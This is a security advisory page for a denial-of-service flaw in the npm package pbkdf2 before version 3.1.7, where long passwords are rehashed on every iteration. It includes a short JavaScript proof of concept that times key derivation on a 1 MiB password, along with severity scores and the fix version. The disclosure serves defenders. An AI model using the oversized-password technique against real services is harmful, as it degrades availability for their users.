Medium

pbkdf2 rehashes long passwords on every iteration, enabling denial of service

  • Disclosed: 06.10.2026
  • Updated: 11.10.2026 10:22

Summary

This is the same bug as Django had (CVE-2013-1443).

Details

A long password can cause a DoS because it is not using cached HMAC, length limits, or pre-hashing passwords longer than the block size of the hash function as per HMAC spec. This line of code hashes the full password each iteration: https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/lib/sync.js#L60

Also see https://github.com/browserify/pbkdf2/issues/82

PoC

The first key will take a lot longer to generate when not using the native code and uses code from /lib/sync.js (ie when this if statement is true): https://github.com/browserify/pbkdf2/blob/1c3b1f526b052a29b3b42120c9821895772df7e8/index.js#L33-L37

js
var pbkdf2 = require('pbkdf2');
var createHash = require('create-hash');
var pw = ".".repeat(1048576); // 1 MiB

var t0 = performance.now();
var key1 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t1 = performance.now();
pw = createHash('sha256').update(pw).digest(); // HMAC specification for keys larger than block size
var key2 = pbkdf2.pbkdf2Sync(pw, "salt", 1000, 32, "sha256");
var t2 = performance.now();

console.log("First took:  " + (t1 - t0));
console.log("Second took: " + (t2 - t1));
console.log("Generated keys:");
console.log(key1);
console.log(key2);

Impact

DoS

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package pbkdf2 < 3.1.7 3.1.7

References

CVSS score 3.7/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness (CWE)
CWE-400
Platform
npm
Package
pbkdf2
Disclosed
06.10.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-477h-4r7f-fvrx - CC BY 4.0

Vulnerability history: pbkdf2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
06.2025 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • Medium 1

Disclosures per year

  1. 2025: 2
  2. 2026: 1
  1. pbkdf2 rehashes long passwords on every iteration, enabling denial of service this entry
    Medium · 3.7 CVE-2026-102414 < 3.1.7 3.1.7
  2. Critical CVE-2025-6547 >= 1.0.0, < 3.1.3 3.1.3

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.